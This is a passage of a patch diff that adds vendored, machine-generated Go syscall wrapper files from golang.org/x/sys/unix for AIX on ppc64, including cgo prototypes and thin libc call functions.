-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_lchown)), 3, _p0, uintptr(uid), uintptr(gid), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllisten(s int, n int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_listen)), 2, uintptr(s), uintptr(n), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllstat(_p0 uintptr, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_lstat)), 2, _p0, stat, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpause() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_pause)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpread64(fd int, _p0 uintptr, _lenp0 int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_pread64)), 4, uintptr(fd), _p0, uintptr(_lenp0), uintptr(offset), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpwrite64(fd int, _p0 uintptr, _lenp0 int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_pwrite64)), 4, uintptr(fd), _p0, uintptr(_lenp0), uintptr(offset), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callselect(nfd int, r uintptr, w uintptr, e uintptr, timeout uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_select)), 5, uintptr(nfd), r, w, e, timeout, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpselect(nfd int, r uintptr, w uintptr, e uintptr, timeout uintptr, sigmask uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_pselect)), 6, uintptr(nfd), r, w, e, timeout, sigmask)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetregid(rgid int, egid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setregid)), 2, uintptr(rgid), uintptr(egid), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetreuid(ruid int, euid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setreuid)), 2, uintptr(ruid), uintptr(euid), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callshutdown(fd int, how int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_shutdown)), 2, uintptr(fd), uintptr(how), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsplice(rfd int, roff uintptr, wfd int, woff uintptr, len int, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_splice)), 6, uintptr(rfd), roff, uintptr(wfd), woff, uintptr(len), uintptr(flags))
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstat(_p0 uintptr, statptr uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_stat)), 2, _p0, statptr, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstatfs(_p0 uintptr, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_statfs)), 2, _p0, buf, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltruncate(_p0 uintptr, length int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_truncate)), 2, _p0, uintptr(length), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callbind(s int, addr uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_bind)), 3, uintptr(s), addr, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callconnect(s int, addr uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_connect)), 3, uintptr(s), addr, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetgroups(n int, list uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getgroups)), 2, uintptr(n), list, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetgroups(n int, list uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setgroups)), 2, uintptr(n), list, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsockopt(s int, level int, name int, val uintptr, vallen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getsockopt)), 5, uintptr(s), uintptr(level), uintptr(name), val, vallen, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetsockopt(s int, level int, name int, val uintptr, vallen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setsockopt)), 5, uintptr(s), uintptr(level), uintptr(name), val, vallen, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsocket(domain int, typ int, proto int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_socket)), 3, uintptr(domain), uintptr(typ), uintptr(proto), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsocketpair(domain int, typ int, proto int, fd uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_socketpair)), 4, uintptr(domain), uintptr(typ), uintptr(proto), fd, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpeername(fd int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getpeername)), 3, uintptr(fd), rsa, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsockname(fd int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getsockname)), 3, uintptr(fd), rsa, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callrecvfrom(fd int, _p0 uintptr, _lenp0 int, flags int, from uintptr, fromlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_recvfrom)), 6, uintptr(fd), _p0, uintptr(_lenp0), uintptr(flags), from, fromlen)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsendto(s int, _p0 uintptr, _lenp0 int, flags int, to uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_sendto)), 6, uintptr(s), _p0, uintptr(_lenp0), uintptr(flags), to, addrlen)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnrecvmsg(s int, msg uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_nrecvmsg)), 3, uintptr(s), msg, uintptr(flags), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnsendmsg(s int, msg uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_nsendmsg)), 3, uintptr(s), msg, uintptr(flags), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunmap(addr uintptr, length uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_munmap)), 2, addr, length, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmadvise(_p0 uintptr, _lenp0 int, advice int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_madvise)), 3, _p0, uintptr(_lenp0), uintptr(advice), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmprotect(_p0 uintptr, _lenp0 int, prot int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mprotect)), 3, _p0, uintptr(_lenp0), uintptr(prot), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmlock(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mlock)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmlockall(flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mlockall)), 1, uintptr(flags), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmsync(_p0 uintptr, _lenp0 int, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_msync)), 3, _p0, uintptr(_lenp0), uintptr(flags), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunlock(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_munlock)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunlockall() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_munlockall)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpipe(p uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_pipe)), 1, p, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpoll(fds uintptr, nfds int, timeout int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_poll)), 3, fds, uintptr(nfds), uintptr(timeout), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgettimeofday(tv uintptr, tzp uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_gettimeofday)), 2, tv, tzp, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltime(t uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_time)), 1, t, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutime(_p0 uintptr, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_utime)), 2, _p0, buf, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsystemcfg(label int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getsystemcfg)), 1, uintptr(label), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callumount(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_umount)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetrlimit(resource int, rlim uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getrlimit)), 2, uintptr(resource), rlim, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetrlimit(resource int, rlim uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setrlimit)), 2, uintptr(resource), rlim, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllseek(fd int, offset int64, whence int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_lseek)), 3, uintptr(fd), uintptr(offset), uintptr(whence), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmmap64(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mmap64)), 6, addr, length, uintptr(prot), uintptr(flags), uintptr(fd), uintptr(offset))
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gccgo.go b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gccgo.go
-new file mode 100644
-index 00000000..cde4dbc5
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gccgo.go
-@@ -0,0 +1,1070 @@
-+// go run mksyscall_aix_ppc64.go -aix -tags aix,ppc64 syscall_aix.go syscall_aix_ppc64.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build aix,ppc64
-+// +build gccgo
-+
-+package unix
-+
-+/*
-+#include <stdint.h>
-+int utimes(uintptr_t, uintptr_t);
-+int utimensat(int, uintptr_t, uintptr_t, int);
-+int getcwd(uintptr_t, size_t);
-+int accept(int, uintptr_t, uintptr_t);
-+int getdirent(int, uintptr_t, size_t);
-+int wait4(int, uintptr_t, int, uintptr_t);
-+int ioctl(int, int, uintptr_t);
-+int fcntl(uintptr_t, int, uintptr_t);
-+int acct(uintptr_t);
-+int chdir(uintptr_t);
-+int chroot(uintptr_t);
-+int close(int);
-+int dup(int);
-+void exit(int);
-+int faccessat(int, uintptr_t, unsigned int, int);
-+int fchdir(int);
-+int fchmod(int, unsigned int);
-+int fchmodat(int, uintptr_t, unsigned int, int);
-+int fchownat(int, uintptr_t, int, int, int);
-+int fdatasync(int);
-+int fsync(int);
-+int getpgid(int);
-+int getpgrp();
-+int getpid();
-+int getppid();
-+int getpriority(int, int);
-+int getrusage(int, uintptr_t);
-+int getsid(int);
-+int kill(int, int);
-+int syslog(int, uintptr_t, size_t);
-+int mkdir(int, uintptr_t, unsigned int);
-+int mkdirat(int, uintptr_t, unsigned int);
-+int mkfifo(uintptr_t, unsigned int);
-+int mknod(uintptr_t, unsigned int, int);
-+int mknodat(int, uintptr_t, unsigned int, int);
-+int nanosleep(uintptr_t, uintptr_t);
-+int open64(uintptr_t, int, unsigned int);
-+int openat(int, uintptr_t, int, unsigned int);
-+int read(int, uintptr_t, size_t);
-+int readlink(uintptr_t, uintptr_t, size_t);
-+int renameat(int, uintptr_t, int, uintptr_t);
-+int setdomainname(uintptr_t, size_t);
-+int sethostname(uintptr_t, size_t);
-+int setpgid(int, int);
-+int setsid();
-+int settimeofday(uintptr_t);
-+int setuid(int);
-+int setgid(int);
-+int setpriority(int, int, int);
-+int statx(int, uintptr_t, int, int, uintptr_t);
-+int sync();
-+uintptr_t times(uintptr_t);
-+int umask(int);
-+int uname(uintptr_t);
-+int unlink(uintptr_t);
-+int unlinkat(int, uintptr_t, int);
-+int ustat(int, uintptr_t);
-+int write(int, uintptr_t, size_t);
-+int dup2(int, int);
-+int posix_fadvise64(int, long long, long long, int);
-+int fchown(int, int, int);
-+int fstat(int, uintptr_t);
-+int fstatat(int, uintptr_t, uintptr_t, int);
-+int fstatfs(int, uintptr_t);
-+int ftruncate(int, long long);
-+int getegid();
-+int geteuid();
-+int getgid();
-+int getuid();
-+int lchown(uintptr_t, int, int);
-+int listen(int, int);
-+int lstat(uintptr_t, uintptr_t);
-+int pause();
-+int pread64(int, uintptr_t, size_t, long long);
-+int pwrite64(int, uintptr_t, size_t, long long);
-+#define c_select select
-+int select(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t);
-+int pselect(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t, uintptr_t);
-+int setregid(int, int);
-+int setreuid(int, int);
-+int shutdown(int, int);
-+long long splice(int, uintptr_t, int, uintptr_t, int, int);
-+int stat(uintptr_t, uintptr_t);
-+int statfs(uintptr_t, uintptr_t);
-+int truncate(uintptr_t, long long);
-+int bind(int, uintptr_t, uintptr_t);
-+int connect(int, uintptr_t, uintptr_t);
-+int getgroups(int, uintptr_t);
-+int setgroups(int, uintptr_t);
-+int getsockopt(int, int, int, uintptr_t, uintptr_t);
-+int setsockopt(int, int, int, uintptr_t, uintptr_t);
-+int socket(int, int, int);
-+int socketpair(int, int, int, uintptr_t);
-+int getpeername(int, uintptr_t, uintptr_t);
-+int getsockname(int, uintptr_t, uintptr_t);
-+int recvfrom(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);
-+int sendto(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);
-+int nrecvmsg(int, uintptr_t, int);
-+int nsendmsg(int, uintptr_t, int);
-+int munmap(uintptr_t, uintptr_t);
-+int madvise(uintptr_t, size_t, int);
-+int mprotect(uintptr_t, size_t, int);
-+int mlock(uintptr_t, size_t);
-+int mlockall(int);
-+int msync(uintptr_t, size_t, int);
-+int munlock(uintptr_t, size_t);
-+int munlockall();
-+int pipe(uintptr_t);
-+int poll(uintptr_t, int, int);
-+int gettimeofday(uintptr_t, uintptr_t);
-+int time(uintptr_t);
-+int utime(uintptr_t, uintptr_t);
-+unsigned long long getsystemcfg(int);
-+int umount(uintptr_t);
-+int getrlimit(int, uintptr_t);
-+int setrlimit(int, uintptr_t);
-+long long lseek(int, long long, int);
-+uintptr_t mmap64(uintptr_t, uintptr_t, int, int, int, long long);
-+
-+*/
-+import "C"
-+import (
-+ "syscall"
-+)
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutimes(_p0 uintptr, times uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.utimes(C.uintptr_t(_p0), C.uintptr_t(times)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutimensat(dirfd int, _p0 uintptr, times uintptr, flag int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.utimensat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(times), C.int(flag)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetcwd(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getcwd(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callaccept(s int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.accept(C.int(s), C.uintptr_t(rsa), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetdirent(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getdirent(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callwait4(pid int, status uintptr, options int, rusage uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.wait4(C.int(pid), C.uintptr_t(status), C.int(options), C.uintptr_t(rusage)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callioctl(fd int, req int, arg uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.ioctl(C.int(fd), C.int(req), C.uintptr_t(arg)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfcntl(fd uintptr, cmd int, arg uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(arg)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callacct(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.acct(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callchdir(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.chdir(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callchroot(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.chroot(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callclose(fd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.close(C.int(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calldup(oldfd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.dup(C.int(oldfd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callexit(code int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.exit(C.int(code)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfaccessat(dirfd int, _p0 uintptr, mode uint32, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.faccessat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchdir(fd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchdir(C.int(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchmod(fd int, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchmod(C.int(fd), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchmodat(dirfd int, _p0 uintptr, mode uint32, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchmodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchownat(dirfd int, _p0 uintptr, uid int, gid int, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchownat(C.int(dirfd), C.uintptr_t(_p0), C.int(uid), C.int(gid), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfdatasync(fd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fdatasync(C.int(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfsync(fd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fsync(C.int(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpgid(pid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpgid(C.int(pid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpgrp() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpgrp())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetppid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getppid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpriority(which int, who int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpriority(C.int(which), C.int(who)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetrusage(who int, rusage uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getrusage(C.int(who), C.uintptr_t(rusage)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
